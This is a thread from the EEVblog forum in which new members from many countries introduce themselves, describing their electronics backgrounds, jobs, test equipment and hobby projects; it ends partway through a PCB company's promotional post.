Post by: bitluni on October 12, 2013, 06:48:07 pm
Hi,

My name is Matthias but most people on the webs know me as luni or bitluni (latter one for the uniqueness) and I'm 34 years old and live in Germany. Probably I have to hide now since as far as I know Dave hates software engineers, but that's just because he's jealous :box: I started with programming 23 years ago, but you could say I was always curious about electronics (btw I loved watching the curiosity-show when I was a child) and building stuff. My achievements until 10th birthday were beeing electrocuted two times by 230V mains taking things apart ::). In lack of a proper 'lab' I fully committed to software until early this year when I started with electronics again. Now after few months and about 2k€ later I could say my lab is sufficiently populated with equipment and components to build all the crazy stuff flooding my imagination.
At the beginning the EEVBlog was to sophisticated for me as a beginner, but with the help of other youtubers like Patrick Hood-Daniel, afrotechmods I got more of the basics and can follow quite well now. I also appreciate the new fundamentals segment from Dave (keep doing it  :-+).
I also started my own youtube channel https://www.youtube.com/channel/UCp_5PO66faM4dBFbFFBdPSQ (https://www.youtube.com/channel/UCp_5PO66faM4dBFbFFBdPSQ) which isn't the best atm. But it's getting better with the practice I get. Don't get it wrong.. I won't be like another "how to"-channel, but more like a mad scientist project channel (more like Ben Krasnow or Jamie Mantzel).  >:D 

I hope you people are nice!
Title: Re: New Member, Please introduce yourself
Post by: twjdeboer on October 12, 2013, 08:44:05 pm
I'm a student at the TU Delft in The Netherlands. My specialization is in Mechanical Engineering, but my heart is in Electronics. I plan on doing a Masters in Mechatronics or something similar. My passion has started after a project in Mechatronics in which I had to relearn a lot about electronics, about a year ago. While I was doing this I stumbled upon the EEVblog on Youtube. I've been hooked ever since. My English is not terrible, but please correct me if I make any grave errors, I can always learn!
Title: Re: New Member, Please introduce yourself
Post by: tized on October 12, 2013, 09:25:02 pm
Hello All,

I've been following Dave's blogs on and off for the past three years, but only recently discovered the forum. So after a few months of just passively lurking around, decided to join in.

My whole childhood I've taken things apart, so after my army service (during which I took some very expensive things apart) I did my B.Sc. EE to learn how to put everything together again. For many years I worked for a very big chip manufacturer, first as a test automation engineer and later as a VLSI functional verification engineer. Nearly a year ago I left said big company to a small outfit which designs cryptographic accelerators, secret key management and secure execution IP. (Cue black helicopters...) 

I have a humble home lab where I experiment with a bit of everything in electronics. Recent projects are a TA2022 based amplifier and some color LEDs for my kids hive shelves. 

TiZed
Title: Re: New Member, Please introduce yourself
Post by: Zsola on October 12, 2013, 10:01:53 pm
Hi all, I am Zsola from Göd, Hungary!
I have an Electrical Engineer BSc (Automation, Vehicle Electronics Engineer), and have a Technical degree of IT systems. After the school I have started to write at Computer Panorama magazine (tester, then head of the testlab) and later at Chip magazine that I am still doing (17 years so far). I decided to renew my knowledge and go back to electronics about 3 years ago and do some products based mainly on PIC. I am a freelancer now, beside the writing I do electronics (design and repair) for fun, and hopefully for some money.
I have found EEVblog around no. 500, so I started to see all the posts from the beginning :)
Title: Re: New Member, Please introduce yourself
Post by: Napalm2002 on October 13, 2013, 03:41:49 am
Hi I'm mike

Kind of a beginner, but I have a nice set of test equipment. Fluke 289,27,16,179,8062, two 8060a's 8024 8022b two 8020b's and an 8020a. Oh yeah two Triplett 630's Triplett 666 and an old tektronics anolog scope and two b&k power supplies and a b&k transistor testor. Love Dave's tear downs and all his videos and am just kinda hungry for knowledge. Off topic I am a mechanic by trade so any off topic car questions are welcome to my eev blog friends.
Title: Re: New Member, Please introduce yourself
Post by: rarthur22 on October 13, 2013, 05:12:46 am
Hello All.  I have watched quite a few of Dave's videos and really enjoy them.  I am an Instrument Technician for a waste-water treatment plant (not very glamorous but someone has to do it!).  I have a lot of interest in electronics and have learned a lot from Dave's videos and drawings.  Has Dave ever done any presentations on 4-20ma loops and how they work?  We use a lot of those and there seems to be some misunderstanding about them.  I think it would be a worthy topic.
Title: Re: New Member, Please introduce yourself
Post by: MeneGR on October 13, 2013, 04:50:02 pm
Hello everybody!

My name is Menelaos and I am from near Athens, Greece.

I have a basic understanding in electronics, but I believe I'm in the right way. Many months ago I stumbled upon Dave's youtube videos and, of course, I got stuck. Right now I'm watching the EEVblog #400 - 400th Live Show and I thought to combine the video with the introduction here!

Can't wait to catch up, hopefully before the counter reaches EEVblog #600 (I will watch the #555th out of order!).
Title: Re: New Member, Please introduce yourself
Post by: geraldjhg on October 14, 2013, 12:13:52 pm
hi
 im gerald from buenos aires argentina, was born in 1951, now using mainly mega88papu and bascomavr
lately bought an owon ds7102v scope and a cem dt-337 acdc clamp meter -very usefull combo-   
some experience on small smps,  small airport lighting and laser cutting. here in bs as it is very easy to buy
over the counter electronic components down to chip level (not much smd).  live near 34º30'58"S  58º29'20"
saludos
Title: Re: New Member, Please introduce yourself
Post by: jiggles on October 14, 2013, 11:01:14 pm
I'm Callum and from Scotland. I'm a taker a part and not putting them back together working kind of person. Love electronics despite a lack of knowledge in the area but working on it all! Love to tinker and such.
Title: Re: New Member, Please introduce yourself
Post by: Noah on October 15, 2013, 09:03:01 am
Hello folks

Another new user.. Or am I the first one from Switzerland..?! If not, please PM me!!!

I'am in a apprenticeship as EE and a electronics hobbyist for ages. I'm good in Microcontroller programming (Microchip and Freescale). My recent project is a brushless speed controller for UAVs and RC Airplanes.

Byside I play the piano and go to gym :clap:

Greetings from Switzerland
Noah
Title: Re: New Member, Please introduce yourself
Post by: ixfd64 on October 16, 2013, 02:34:19 am
*wipes shoes on door mat*

Hello, my name is Danny, and I'm currently a software engineer in the Silicon Valley. My interests and hobbies include science, video games, lasers and consumer fireworks.

Many of the discussions on this forum seem really interesting, so I decided to register after lurking for some time. I look forward to being a member of this community!
Title: Re: New Member, Please introduce yourself
Post by: parabuzzle on October 16, 2013, 04:39:40 pm
Hello, My name is Mike and I live in the heart of Silicon Valley California and I just stumbled upon the EEVblog youtube channel a few weeks ago. I'm a Software Engineer professionally and I have been an electronics hobbyist for awhile now.

-Mike
Title: Re: New Member, Please introduce yourself
Post by: zapta on October 17, 2013, 03:59:00 am
All my life I have had affinity to electronics. As a kid I used to build simple electronic circuits and I went to a technical high school, in the electronic track. This is were I learned the basics of electronics and the love of everything digital ("you can do everything with only NAND gates"). After a few years of working as an electronic technician and loving it I decided to get more formal education. I ended up getting a degree in math  (the program was 3 years compared to 4 years EE so it was a no brainer ;-)) and then additional degrees in computer sciences and computer engineering (my dissertation was about computational geometry aspects of PCB routing).  My background in electronic is very useful in my career and have helped me working on a variety of disciplines from hardware design (board and HDL) and embedded software to, control systems, mobile systems and apps, EDA, internet technologies, and very large scale cloud systems and comptations. Kind of a jack of all trades, master of none.

These days I don't build as much hardware for the fun as I used to and would like, mostly because I can find outlet for the fire within in software. You can do quite a lot these days just by typing on a keyboard and moving the mouse, but I still love smell solder fume in the morning, really. I have a small lab at home, Weller solder iron, Hako desolder, Tek DSO, lab power supply, a small Fluke 107 multimeter, and a FLIR E4 on order. Trying to keep it manageable and simple.

Joined this site few weeks ago when I looked for multimeter reviews (ended up with the Fluke 107). It helped me reconnect with my electronic roots and I learn a lot for other people's postings and from Dave's videos, even little things such as how to optimize the shipping of thousands of PCB rulers (http://youtu.be/kU2qmhzlc2o (http://youtu.be/kU2qmhzlc2o)).
Title: Re: New Member, Please introduce yourself
Post by: sky on October 17, 2013, 07:35:37 am
Hello to all , my name is sky and I am from china.
I just graduated from college this year.
Hope we have a good time here.
Title: Re: New Member, Please introduce yourself
Post by: Jorpy on October 18, 2013, 10:23:21 am
Hi!
My name is Jeppe and I'm from Denmark.
Currently 17 years old. I started out as an Arduino noob, but Dave got me interested in "real" electronics  :-+
Title: Re: New Member, Please introduce yourself
Post by: denizcan on October 18, 2013, 11:32:07 am
I am Deniz Can from Turkey. I make my living as a freelancer in embedded design. A work that forces me to use whatever chip is appropriate from whichever company to a given application.. I am like MCU tester.. :) Because of working with different chips forced me to develop simple and clean to use inter-mcu library.. My motto on developing embedded became: if you cannot re-use %90 percent of what you have written till now, you didn't do your job well..

I am famous on giving customer a few pages of code at final delivery, and they like it.. :))
Title: Re: New Member, Please introduce yourself
Post by: MauriceS on October 19, 2013, 04:45:17 am
Hi,

I'm originally from The Netherlands (not the Province Holland ;-) who lived in a few countries, and now in Colorado, US. I have had an affinity for electronics since very young, and mainly digital at that stage. It was just easier... My career however turned me more to Software/Firmware engineering. I recently rediscovered my love for Electronics and am learning more about analog stuff now too... Not soo hard once you understand the math ;-)

I like Dave's funny way of explaining stuff...  Never to old to learn...
Title: Re: New Member, Please introduce yourself
Post by: makerimages on October 20, 2013, 10:50:04 am
Hello from Estonia!

I`m a self-taught young (15yrs, 16 in a few weeks) electronics and IT enthusiast. Having a hobby like this is rather expensive around here, that is mainly the reason why I dont have anything to show yet, however I do have quite a bit of ideas, will hopefully get an arduino soon, thinking about maybe doing some Z80 experiments aswell.

Accidentally stumbelled onto daves blog maybe like  a year ago or so, Like the way he does it. Very informative. He deserves a Nobel prize for sure!
Title: Re: New Member, Please introduce yourself
Post by: peteroakes on October 20, 2013, 11:00:31 pm
Hi there, I am Peter, I am an electronics engineer by trade but have spent many years on the software (Dark) side of things, a couple years ago I resurrected my passion for electronics and discovered Arduino's and other microcontrollers, now spend most of my spare time building up new gadgets, light controllers, temperature modules all round the house and anything else that sparks my interest, for full disclosure, I am way beyond being a student (In years , not skills) but enjoy sharing and learning new things, discovered Dave's blog last year and have been looking forward to new blogs since. Very informative, very funny and inspiring

Oh to keep with the flow, I have lived in Canada for the last 20 years but am originally from the UK, I miss those car boot sales and radio rallies....memories :)
Title: Re: New Member, Please introduce yourself
Post by: GreyWoolfe on October 21, 2013, 12:20:55 am
The name here is Tom, I am a field service technician working remotely.  I have a combination home office, work bench and ham radio shack.  I have a BS in Business Management from back in 1978 and an AS in EET from ITT Technical Institute in 1999.  I got away from electronics, doing field work repairing computers, various printer types and doing a little networking thrown in for good measure.  I have gotten the bug for electronics again and I want to start relearning all I forgot and add to that knowledge.  I definitely have a "poor man's" workbench.  I have the following:
TEK 2235 100 MHz analog scope
BK Precision 5100 100 MHz combiscope
Fluke 1952A counter/timer
Heathkit IG-72 Audio Generator with a bad meter
Protek B8055 function generator
Protek B-845 DMM
Leader LDC 823A counter connected to-
Leader LG-1301 function generator
Fluke 8840A DMM
Velleman handheld DMM
Craftsman branded Dremel and the drill press to go with it for drill through hole on PCBs
Hakko 936 for soldering those through hole components
Lots of hand tools-especially screwdrivers (just like you, Dave!)

Everything except the Craftsman setup, the Velleman and the Hakko was bought used for little money and I sold some old computers and servers to fund a good part of the purchases.  Also sold a Tek OS-245 P/U militarized scope that was too big for the area but had a dual vertical amplifier and a single vertical amplifier along with the time base to make it a 3 channel scope.

I am working on power supplies.  I have a small 5VDC 1A dual output power supply I put together from stuff I had around and I have a Elenco XP-720K on the way that I will be building and doing some upgrading to including 10 turn pots, some safety measures and a volt meter.  After that, I plan to save up for a Korad dual output power supply.  After the Elenco is built and I do some upgrading to the work space itself, I will post pictures in the proper thread for showing off.

For those who may be interested, my callsign is NW0LF and I have a Kenwood TS-850 HF radio, an ICOM 706 as a backup.  I also have a Kenwood 2 meter radio at my desk space so I can monitor the local repeaters while working.  I have a home made 40 OCF dipole, a Cushcraft R5 vertical and Diamond 2 meter vertical.  I can't forget to mention the obligatory 2 meter radio/antenna in the car with appropriate amateur radio license plate with my call sign on it  :D.  Interestingly, my furthest contact is a confirmed contact with a Ham in New Zealand.  Right in Dave'w neck of the world, so to speak.

I love Dave's blogs and the forum threads.  Some threads of memory are actually starting to resurface!  I will continue to lurk on the forums, ask questions and ask for help when needed and add comments when I can.  See you all down the EEVBlog!
Title: Re: New Member, Please introduce yourself
Post by: burbeck on October 22, 2013, 12:00:42 am
hi all
electronics tech from england.
saw some of the utube stuff, like your style Dave
Title: Re: New Member, Please introduce yourself
Post by: automaster209 on October 22, 2013, 08:48:58 pm
I would like to say hello to everyone.  My name is Loren.  I happened to stumble across EEVlog on Youtube.  Dave has become a major 'instigator', or I mean inspirational in moving me forward in eletronics.  I have been an automotive technician for over 25 years and was excellent as a drivability technician with excellent computer diagnostics on automobiles. Thanks to Dave's videos I have invested in a couple of analog scopes and signal generator for a vehicle cheap price and I am starting to play around.  I would like to say "Thank you Dave.".  I find your videos awesome.
Title: Re: New Member, Please introduce yourself
Post by: idolstar on October 22, 2013, 09:53:55 pm
Hi Everyone,

My name is Chris, I'm an ex-physics professor turned programmer. Two years ago a friend of mine said, "Have you ever used an Arduino?" Which led to a fair amount of blinking LEDs. I had a tendency to mess up components in my college circuits class, so I tended to stay away from electronics, but now I seem to be better at not destroying everything I tough, which makes it much more fun. I live in central California right now.

Chris
Title: Re: New Member, Please introduce yourself
Post by: tocsa120ls on October 24, 2013, 10:32:33 am
 :blah: :blah: :blah: :blah: :blah: :blah:

Oh bother. I'm really sorry guys, I forgot to introduce myself first. I foolishly created a topic for my recent adventure, and completely forgot to do an introduction there. Hope I don't come over as a dolt. Anyways. Let my 7th post be my first one.

Hi there fellow carbon-based lifeforms. I'm a 32yo Systems Architect working in Budapest, Hungary. I work for a large Telecommunications company; I'm a holder (and user, if I might add) of an IBM Websphere, a VMWare vSphere 5, and also a Red Hat Admin certificate. At this job I manage, analyse, and troubleshoot our customers' various environments, and also do system design when I'm asked. I'm able to give multiple solutions to a problem, detailing the pros and cons of each solution.

In my spare time you'd most likely to find me next to cars, as I'm doing fault diagnosis and repair. Most recent was a hard-starting Renault Twingo, which turned out to be a disconnected camshaft position sensor. Hey, they can't always be "random communications fault on the CAN gateway", or my best yet, "the car won't idle unless the passenger door is open" < now that _was_ fun.

I'm hard pressed to qualify electronics as my other hobby, as cars nowadays are so tightly intervowen with various sensors, actuators and solenoids, that the good old days of 'gapping a plug' seem far away now - when a car rolls in with a problem, the first tool I take out is the OBD2 reader; plus, the last project I created was a power window regulator for my brother. Yeah, you won't find an old Opel Kadett with fully automatic windows elsewhere in Hungary. Now that I think of it, a 27yo car, which has a strong tendency to expose its raw metal to sunlight... may slowly be one of a few around these parts.

I have the ability to do a product from the ground up, like designing a circuit, building it on a bench, do troubleshooting/minimalisation, then design a PCB, make that PCB, populate it, and boom: ready to go. When I have to I mainly use Atmel uCs for my project, for the simple reason that those were the first I laid my hands on, I have no preference, I had to do some Microchip PICs in the past, so I'm good with them too. I can program in C, can debug lots of other languages :) I also speak German (have to, all my colleagues are working in Munich).

ps. I'm much more worse IRL, I can talk until you fall asleep. Thanks for reading through.
ps2. Oh. My daily driver is a black Volvo 960, the last of the big RWD boxes. Gets fewer MPGs than a 737 but I love it.
Title: Re: New Member, Please introduce yourself
Post by: dyazdani on October 26, 2013, 04:05:15 pm
I live in New York and only dabble in electronics (Chemical background), but repair audio equipment, work on cars, etc.  I bought my first Arduino the other day so I've been browsing various forums.
Title: Re: New Member, Please introduce yourself
Post by: Elelctronix Hive on October 28, 2013, 03:52:01 am
Hi my name is barrie, i have been interested in electronics and alternative energy sources for the last 2 years.
After a while of playing around with what some might call unconventional field of study and with no experience in the conventional i decided to start learning the mainstream side of things, EEVBLOG...videos are just amazing for all levels of electro fun :P  and serious people

Mk2 Bedini SSG (With Oscilloscope) (https://www.youtube.com/watch?v=XkhYv9XCh8Y#noexternalembed)

I am super stoked to be part of this forum....
Title: Re: New Member, Please introduce yourself
Post by: davelectronic on October 28, 2013, 10:33:45 pm
Like to say hello to the community  from the UK south east coastal town of Ramsgate in Kent.

Very pleased to have found the EEVBlog forum, i watch all Dave's Blogs and projects i'm addicted they are best on the internet.

See you all on the boards from me a mad keen hobbyists.  ;D
Title: Re: New Member, Please introduce yourself
Post by: Whuffo on October 29, 2013, 02:19:02 pm
Hi, I'm Michael

I'm an American, but now live in the Philippines. I retired early, and have a long and interesting career behind me. I worked my way through college as a technician, then teched some more while building a reputation. I did design work for many clients; for various contractural and legal reasons I can't give a lot of detail. My life as a design engineer in the '70s was "get hired - big office, two secretaries, big budget. Take marketing's wet dream and try to make it a real, manufacturable device. As soon as early prototypes show signs of life, get fired and spend months playing at home until the next contract". Rinse, repeat.

I did computer terminals with large boards covered with 7400 TTL chips. I did broadcast equipment; FM multiplex modulators, FM exciters, audio and video switchers and distribution amplifiers. I designed personal computers in the early "PC compatible" days. Personal projects included high quality audio amplifiers, speaker systems and other floobydust. When engineering contracts were scarce, I'd tech it - working on radio communications equipment, televisions / radios / hifi, etc. I did contract programming for a year or two, then moved to Silicon Valley and worked as a high level IT analyst for a major transportation company. For fun, I do some music composition. Some projects I remember: a solid state drive - to replace old hard drives made with unobtanium. This was done in 1975 using DRAM and a ROM state machine to control it. A serial interface card for the Apple II - used an 8253 there. Ever hear a burst of touch tones at commercial breaks in TV shows? I know where those come from and what they're for.

When that IT job ended due to me having a bad case of "over 50", I packed everything up and shipped it to the Philippines. I've been mostly taking it easy since then, but the old urge is nagging at me and I'm trying to get a working lab set up here. Some of it is unpacked, some is still in boxes - and the parts cabinets got shaken in transit and I'm going to have to go through the hundreds of drawers and sort things back out. I'm putting that one off until later. Components are very inexpensive here - if what you want is locally available.

I've seen a lot of technology go by; in my EE courses we learned how to design with vacuum tubes and did our math on slide rules. Pocket calculators, digital watches, cell phones, etc - these things came along during my career. Things I learned along the way: there's almost always more than one way to solve a problem, and your first choice probably isn't the right one. Simple is good; rather than throw the kitchen sink at a problem, solve it in a elegant way. And don't disregard older technology just because it's old. If you were to visit your local TV station's transmitter you'd find it's got vacuum tubes in it. I'll share some schematics as I find them; still unpacking the files here.
Title: Re: New Member, Please introduce yourself
Post by: Ton on October 30, 2013, 12:18:41 am
Hi all
 I am a BsEE, with 10+ years doing mobile phones, and now 3 years of making medical devices, based in Denmark. hope we can have  some :-DD
Title: Re: New Member, Please introduce yourself
Post by: adoherty on October 30, 2013, 03:25:26 pm
Hi, I'm Anthony, and I am from VA.

I am currently a software sales guy, but I am also a hobbyist with many interest, including fixing things instead of throwing them away. My work history includes business management, environmental engineering (masters degree), restaurant management, home construction, auto repair and electronic assembly and test. I appreciate good design and quality construction/manufacturing.

I have a small working knowledge of electronics but would like to know more and am hoping I can find and share good knowledge and advice here. Thanks.
Title: Re: New Member, Please introduce yourself
Post by: Vgkid on November 01, 2013, 04:43:20 am
Where in VA are you located, my guess is NOVA.
Title: Re: New Member, Please introduce yourself
Post by: pa4mic on November 01, 2013, 09:34:14 am
Just an short post to say hello.

I'm Michael from the netherlands and electronic is an hobby for me (most part a little work). Some people will know it from the nickname i use, it's my personal hamradio call. It is one of my hobby's (have a lot) i do the most of the time.

I found eevblog in a search for test eqiupment review's and i must say i like the youtube movies a lot and it is time to join the forum. 8)

'73

Michael
Title: Re: New Member, Please introduce yourself
Post by: Alexandre Mello on November 01, 2013, 02:13:40 pm
Hi, my name is Alexandre, I'm form Rio de Janeiro, Brazil, and I just finished an introductory course of electronics. I discovered the EEVblog almost a year ago and joined the forum in April this year, but I have never written before because  there is so much information here that I'm reading, reading, reading, … But I think that it's just time to participate more.
My goal is to learn analog electronics in depth, especially related to audio.
Title: Re: New Member, Please introduce yourself
Post by: Kohanbash on November 01, 2013, 02:33:59 pm
Hi all

I just found the eevblog last week and now am trying to catch up with the blog videos.

I am from the USA and have a degree in EE. For the last 10 years or so I have been designing electronics and embedded systems for robots and testing them.

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: Tac Eht Xilef on November 01, 2013, 08:46:18 pm
Hi, I'm Rod, and I'm an electronicsholic  :-DMM

Long time lurker, finally decided to register. 30-odd years as a hobbyist; 20-odd years as a comms tech on analogue & digital switching, transmission, radio, power, CAN electronics, and more (the majority of time as a 'real' technician, the last couple of years as a 'our customer technician will ...' technician); 8 years redundant; currently studying/doing something totally different  :blah:
Title: Re: New Member, Please introduce yourself
Post by: edwardcurrentclamps on November 03, 2013, 12:46:22 am
Hi all,

never said hello! My name is Michael and for obvious reasons to you all, I like EE. Electronics has been a life long hobby and is becoming more serious now. I have two degrees in a completely different field. Couldn't stand the real world experience though and decided to study EE starting from next year.

I love physics, old Arcade games, my machining workshop which finds itself on five pallets at the moment, the Australian Outback, Photography and fixing old lab equipment!

And of course, a good, cold German beer form time to time! Weihenstephaner forever!!! :clap:
Title: Re: New Member, Please introduce yourself
Post by: ProfDecoy on November 03, 2013, 03:19:53 am
Greetings to the Forums!

I've been watching the videos for at least a year (since the Old IBM Mainframe HD teardown), but haven't been checking out the forums at all.

I more or less dabble in electronics, I took it back in high school, but went into IT instead for a career and haven't done much at all for many years.  However watching Dave's videos again has re-perked my interest in trying do do a few things again.

Licensed Ham Radio operator (US General Class), did some homebrew stuff when I was younger.
Title: Re: New Member, Please introduce yourself
Post by: RandomTask on November 03, 2013, 05:18:52 am
Hello All!

I have been interested in electronics as a hobbyist for many years, and recently ran across Dave's EEVblog on YouTube.  Naturally, I ventured to the Forum after having heard of it from the Vblog. 

Although my formal education is in the field of accountancy, I have always been fascinated with computers and electronic items.  I look forward to learning much here, and possibly contributing to the Forum when I can provide something useful!

Cheers!
Title: Re: New Member, Please introduce yourself
Post by: johnrg on November 04, 2013, 03:05:57 am
Hello everyone! 

My name is John, from the United States.  I work with a lot of radio-related electronics in my job in the Marine Corps and I'm a licensed ham operator.  I'm planning on majoring in Electrical Engineering with a focus in RF Wireless Communications when I go back to university. 

I've watched the EEV Blog videos on YouTube for quite a while, but only recently started checking out the actual site.  I hope to learn a lot from the rest of you on the forums!
Title: Re: New Member, Please introduce yourself
Post by: moepower on November 05, 2013, 06:12:09 am
Hi all,

I'm Paul, an electrical (power) engineer by profession in Australia.  However, I'm trying to develop my electronics skills as a hobbying thing.  I've been an avid watcher of Dave's eevblog videos which has got me hooked.  I'm trying to develop my home electronics lab.  Looking forward to what I can learn.

Cheers all.
Title: Re: New Member, Please introduce yourself
Post by: Mrdjdean on November 06, 2013, 06:15:12 pm
Hey,

My name is Dave, I'm a mechanical engineer looking to enhance my knowledge with electronics and develop my workshop/lab/clean(isn) room.  I have been watching the EEVBLOG youtube channel for sometime now and i am getting more and more keen on everything electrical engineering based.

See you around
Title: Re: New Member, Please introduce yourself
Post by: kitiri on November 06, 2013, 09:23:32 pm
Hi,

I have been watching for a while the EEVBLOG videos, excellent work by the way, and thought I register on the forum to share and learn (even though if my first sharing is a bad experience with futurlec ... !).


titiri

Title: Re: New Member, Please introduce yourself
Post by: Technicial on November 08, 2013, 12:05:36 am
Hi,

My name is Steven and i'm a Heavy duty equipment technician apprentice from newfoundland, Canada. i have been a maker of things and interested in electronics for few years. I started watching the EEVBLOG and became more interested in electronics than i previously was.


Nice to meet everyone.
Title: Re: New Member, Please introduce yourself
Post by: czdt8m on November 08, 2013, 09:43:12 am
Hello everyone,

My name is Peter and I have been reading this blog and watching the EEVblog for some time now.

I have been working as a software engineer in industrial automation for some 28 years, and currently work as a technical lead for a couple of software engineers.

Back in the 80's i did get a degree in electronics (high school level) before I switched to industrial IT, and continued to work in that. But a year or so ago I started to watch youtube channels such as Maxxarcade, Mikes's channel and of course Dave's. This got me hooked again.

Since then I have started to get my own home lab together, and am now designing (or trying to) "Yet Another Nixie Clock" based on the Parallax Propeller and a GPS module. My ambition is to add network capability and make it into an NTP server.

I will propably will post some questions on this forum as I proceed.  :D

Finally, I hope that over time I can maybe help someone on this forum if it is in my area of knowledge, and become part of this community.

All the best.
Peter
Title: Re: New Member, Please introduce yourself
Post by: Tabs on November 09, 2013, 01:31:33 am
Hi All,

Finally joined a few days ago. Thought I'd introduce myself.
My name is Tabraze.

I've been an EE for 5 years now and got my first job just before the 2008 stock market crash working in the comms industry on RF and audio designs. I'm currently working at a new company in the temperature control industry.

I cant remember when I saw my first EEVBlog episode but it was the PCB manufacturing episode #127.
I was hooked at "High, welcome to the EEVblog ... " :-+

Anyway,
Just wanted to use this opportunity to say Hi and to thank all the members of this forum and especially Dave Jones for all the good work your doing.
Thank you all.
The Job Interview guide episode probably got me my current Job so I hope I can return the favor by helping forum members with what limited experience I have to offer.

Cheers

Tabs

PS - Call me Tabs.
Title: Re: New Member, Please introduce yourself
Post by: MrAMR on November 09, 2013, 02:56:36 pm
Hi, my name is Amir.
I'm a beginner industrial design engineering student.
I have a vast knowledge of computers and I'm really interested in electronics, although I have a small amount of knowledge "electronics" (previous liberal-arts and architecture student lol).

I found this forum through a video regarding the Nvidia GPU hacks, but now I found out that this forum is quite awesome for DIY, etc

Cheers!

btw, does this forum have a Youtube-channel?
Title: Re: New Member, Please introduce yourself
Post by: CJWarlock on November 09, 2013, 06:26:49 pm
Hi everyone. I'm from Poland.

I've studied electronics in technical college. Interested in electronics since 10 years old. Fields of interest: LED lighting, stage equipment, retro computers.
Title: Re: New Member, Please introduce yourself
Post by: yvesdm3000 on November 10, 2013, 10:03:44 am
Hello everyone,

I'm Yves and work as a freelance software engineer currently doing projects for an international (origin: Japan) electronics company which has an R&D department in Belgium and I'm obviously from Belgium.

Being a computer programmer at the base, I'm also interested in the electronics side of our job. I'm not afraid to replace a blown cap, but I'm by no means an EE-expert at all, but I'm learning  8). I'm also currently preparing to "fix" an airbag controller from a Peugeot 1007 that fired an airbag after a small sideways collision. It has an 68HC12BE32 cpu in it with now the self-disable bit set. Sadly not that much stuff to find on the hc12 cpu but found tons of other knowledge on this forum and Dave's videos have become a weekly item to watch out for !

Many thanks for this great forum.

Yves
Title: Re: New Member, Please introduce yourself
Post by: VK5RC on November 10, 2013, 11:29:31 am
Hello, I work as a doctor but always held interest in electronics, hold my amateur radio licence VK5RC, esp interested in construction, esp microwave (>1GHz), currently building a set up to do EME (bounce radio off moon) on 1.2GHz, will prob take 12-18 months by the time I design, build test various components, power supply, power amplifier (200W), low noise pre-amp, dish mounts, RF safety calculations, dish movement actuators and control system. |O
Dave does a great job re EEV, Thanks again! :-+
Rob
Title: Re: New Member, Please introduce yourself
Post by: BBQ on November 10, 2013, 09:35:29 pm
Hi

I'm from Sweden. I like electronics, no love story, we are just friends.

// BBQ
Title: Re: New Member, Please introduce yourself
Post by: Reboot on November 11, 2013, 02:04:09 am
Hello from sunny Florida.  I actually grew up in Texas, where my father owned a TV repair shop where I cut my teeth for many years repairing TV's (I was around for the whole vacuum tube to solid state transition).  I am a mechanical engineer by degree.  Twenty-two years ago, my brother and I started our own company manufacturing different products for niche markets.  We have products in the Industrial Automation, Medical Equipment, and Renewable Energy markets.  We are a very vertically integrated company, and have extensive in-house design and manufacturing capabilities.  I'll try to post some pics of our facility at some point.

Although we have many engineers working for us, I am the one and only electrical engineer at our company, and as such have to wear many hats around here (Electrical and Mechanical Design, IT, repairing in-house equipment, etc).  My main electronic design experience is in embedded control system, motion control, and power systems.

I have designed hundreds of different circuit boards over the last 20 years; I have used Eagle for PCB design and layout since it was a DOS version!

So how does this relate to this blog?  Well, I have been an electronics enthusiast since my days in the TV shop.  I found Dave's Videos on youtube a couple of years ago.  I think I have watched almost all of them, some multiple times;D.  Keep up the good work Dave!

Anyway, I figured it was finally time to register and hopefully contribute my $0.02 once in a while.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: sata on November 11, 2013, 08:41:41 pm
Hello all!

I'm Ricardo from Portugal, i know eevblog for a few years, i even helped it to be known in the high school i'm in (ESTG).
Sadly i have only been able until now to watch around 30 videos, but one of these days i will do them whole, with an annotation notebook to ciment some very good tips!

Decided to finally join the forums, for some questions as usual!

Best regards
Title: Re: New Member, Please introduce yourself
Post by: austere on November 13, 2013, 02:45:53 am
Hi guys,

I'm an ASIC designer from Australia who specialises in MEMS, I've been following the forum and Dave's excellent videos for years and I'm on the verge of completing my PhD so I thought I'd drop by [and procrastinate, oh dear].

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: Dave Turner on November 13, 2013, 10:20:12 pm
As a preteen I played with electronics in the early 60's, wrote my first 'hello world' in ALGOL in 1966-67, trained as an Architect, built my first microcomputer from an imported Zilog Z80 in 1974, practiced as an Architect, latterly using various CAD progammes, worked as a desktop/network engineer from 1993 until 2009, then being redundant looked after my father until his death. Currently setting up a new mini-lab in my limited available space to maintain the 'little grey cells'.

Title: Re: New Member, Please introduce yourself
Post by: DesignSparkMechanical on November 15, 2013, 08:25:05 pm
Hi Im Darren I work for RS Components and am on the scout for talented engineers who can use Design Spark Mechanical. Talent is always richest in forums where expression breeds invention.
Title: Re: New Member, Please introduce yourself
Post by: NickPrince on November 18, 2013, 05:08:24 pm
Hi! I'm Nick. I just opened up my town's first full-service digital shop. I'm MCSE, ACMT, Network+, Security+ and A+ certified, and have been a professional low-voltage technician for about three years, but a hobbyist since I was five. I'm into changing the world, being happy with others, and the Burning Man arts festival. I'm still getting the ropes together as far as running a business is concerned, but I'm in New Mexico, and people are very understanding and forgiving. Been turning out great work since opening at the beginning of the month, but it can always be better. S'why I'm here!

Anyways, here's the logo I came up with for my business, a 16-bit Zia (https://en.wikipedia.org/wiki/Flag_of_New_Mexico).

(http://i.imgur.com/SL7eIyn.jpg)

I should have some stickers to give away in another week or two!

I'm excited to be here, and am open! Feel free to drop me a line on here or at my e-mail: nick@binarycircuits.com
Title: Re: New Member, Please introduce yourself
Post by: spetku on November 19, 2013, 09:55:50 am
Hello world,

I'm Sarah, a regular at Las Vegas' hackerspace SYN Shop. I'm a maker who creates robotic art and other electronic things. I've done a lot of work with delta robots, and I also make custom goggles in my free time! If you're interested in seeing what I do, check out my tech blog here :

http://roboticarts.wordpress.com (http://roboticarts.wordpress.com)

Or visit my youtube channel to see what i've been up to!

https://www.youtube.com/user/GravityRoad (https://www.youtube.com/user/GravityRoad)

(http://roboticarts.files.wordpress.com/2012/10/goggles17.jpg?w=300&h=)

Happy making! =]
Title: Re: New Member, Please introduce yourself
Post by: jacohk on November 19, 2013, 02:25:38 pm
Hello everyone. My name is Alan.

I had worked as a Marketing Executive in a Hong Kong based Electronic Manufacturing Services company for more than 10 years. My company formed a sub company JACO (HK) since 2012 for PCB prototyping services, I have been deputed to promote this service for SME, electronic designers & electronic engineers all over the world.

As per our slogan “Better services . Reasonable price”, JACO will provide better service to our clients, and our clients required to pay reasonable price only. Our strengths include -

